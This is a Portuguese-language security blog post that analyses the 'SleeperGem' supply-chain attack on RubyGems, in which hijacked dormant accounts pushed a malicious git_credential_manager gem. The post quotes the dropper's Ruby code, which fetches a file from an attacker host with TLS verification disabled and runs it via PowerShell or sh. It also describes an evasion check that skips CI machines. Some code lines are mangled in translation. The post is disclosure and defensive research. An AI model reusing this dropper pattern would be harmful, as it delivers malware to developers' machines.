Não é frequente vermos um ataque à cadeia de abastecimento no RubyGems. Mas, com as férias de verão em pleno andamento, talvez devêssemos ter esperado que isso acontecesse. Ainda assim, foi uma surpresa quando abri a fila de triagem esta manhã e encontrei um novo pacote suspeito à espera.
Uma nova joia chamada git_credential_manager teve quatro versões publicadas em rápida sucessão. À primeira vista, parecia que a única coisa que fazia era descarregar alguns ficheiros binários de um servidor que eu nunca tinha visto antes. Certamente que isso não podia ser malicioso... certo?
Ficheiros binários aleatórios
O pacote chamou imediatamente a atenção porque limitava-se a descarregar ficheiros binários de um repositório Git alojado em https://git.disroot[.]org/git-ecosystem/.
git.disroot[.]org é uma instância pública do Forgejo onde qualquer pessoa pode criar repositórios. Alguém tinha, por acaso, registado o nome de utilizador ecossistema do Git, fazendo com que o projeto pareça suficientemente legítimo para evitar suspeitas imediatas.
No interior do repositório não havia mais do que ficheiros binários, alguns compactados. Quando enviámos um deles para o VirusTotal, os fornecedores de antivírus não perderam tempo e marcaram-no imediatamente como malicioso.
Em que é que o mundo se tornou, se já nem sequer podemos confiar no «ecossistema Git»? /s
Não é propriamente subtil, quando se olha com atenção
Ao analisar as quatro versões separadamente, é possível ver o mecanismo de distribuição a ser construído em tempo real ao longo de cerca de nove horas, em duas sessões.
Versão 2.8.0 já era um dropper totalmente funcional desde o primeiro dia: criava-se um URL com base naquele host Forgejo codificado, carregava-se o conteúdo com a verificação de certificados explicitamente desativada e entregava-se a carga útil diretamente a um shell ou ao PowerShell:
def base_url
"https://git.disroot.org/git-ecosystem/#{product}/raw/branch/main"
end
http.verify_mode = OpenSSL::SSL::VERIFY_NONE # Desativar a verificação SSLse goos == "windows"
Process.spawn("powershell -ExecutionPolicy bypass \"#{full_path}\"")
else
Process.spawn("/bin/sh \"#{full_path}\"")
fim
Versão 2.8.1, 24 minutos depois, alterou exatamente uma coisa: redirecionou a saída da execução do Unix para /dev/null. Não se trata de uma nova funcionalidade, mas sim de uma versão mais silenciosa. Alguém estava a observar a saída da consola do seu próprio malware e decidiu que era demasiado ruidosa.
Depois, há um intervalo de oito horas, presumivelmente para dormir, antes da versão 2.8.2 aparece na manhã seguinte com a escalada propriamente dita: o instalador é integrado diretamente no caminho de carregamento da gem, de modo que basta require-ing git_credential_manager (sem instalar um ficheiro binário, sem executar nada explicitamente, apenas carregando a biblioteca) é suficiente para pôr tudo a funcionar. E nessa mesma versão, a linha que executa o script descarregado está comentada. Dezassete minutos depois, a versão 2.8.3 descomenta-o. Basta um carácter e o dropper passa do modo de teste para o modo ativo.
Existe também uma verificação «skip_install?» que procura cerca de 30 variáveis de ambiente pertencentes a plataformas de CI, como GitHub Actions, GitLab CI, CircleCI, Travis, Jenkins e Vercel, e não faz nada se detetar alguma delas. Esta verificação foi criada para evitar deliberadamente os servidores de compilação. O objetivo é utilizar os portáteis dos programadores, e não os executores de CI descartáveis.
Outros pacotes comprometidos
Em seguida, dei uma vista de olhos na conta da editora e reparei que tinham vários outros títulos fantásticos. Alguns não eram atualizados desde 2019, enquanto outros tinham recebido, de repente, novos lançamentos ontem e hoje.
O caso mais notável foi o do Dendreo, lançado pela primeira vez em 2017. Por volta da mesma altura que o git_credential_manager, surgiram duas novas versões. Como era de esperar, o atacante tinha adicionado o git_credential_manager como dependência, permitindo que a carga maliciosa se propagasse aos utilizadores existentes.
Mais preocupante ainda, o atacante também publicou uma nova versão do fastlane-plugin-run_tests_firebase_testlab, um projeto que não tem absolutamente nada a ver com 574 661 downloads no total. Ao contrário das outras gems comprometidas, esta pertencia a um mantenedor totalmente diferente, o que sugere que o comprometimento se estendeu para além de uma única conta.
A verdadeira lição a retirar daqui
Já abordámos inúmeros incidentes no npm e no PyPI semelhantes a este. O RubyGems tem-se mantido, em grande parte, alheio a essa tendência, e não conseguimos encontrar nenhum caso anterior em que duas contas de mantenedores, sem qualquer relação entre si e há muito inativas, tivessem sido reativadas com poucas horas de diferença para introduzir a mesma dependência em gems nas quais as pessoas já confiavam. Tanto quanto sabemos, esta é a primeira vez que o RubyGems enfrenta de verdade o que o npm e o PyPI têm vindo a enfrentar há já mais de um ano.
Uma conta no RubyGems que está inativa há seis ou sete anos não parece representar qualquer risco para ninguém. É exatamente esse o tipo de perfil que vale a pena assumir. É daí que vem o nome «SleeperGem»: não se trata de um recurso de ataque plantado a longo prazo, mas sim de uma conta real e comum que simplesmente ficou inativa e parecia inofensiva o suficiente para ser sequestrada sem que ninguém desse por isso.
Até agora, já foram suspensas duas contas, num registo que, até agora, tinha conseguido evitar isso na maior parte das vezes. Esperemos que isto não se torne uma tendência.
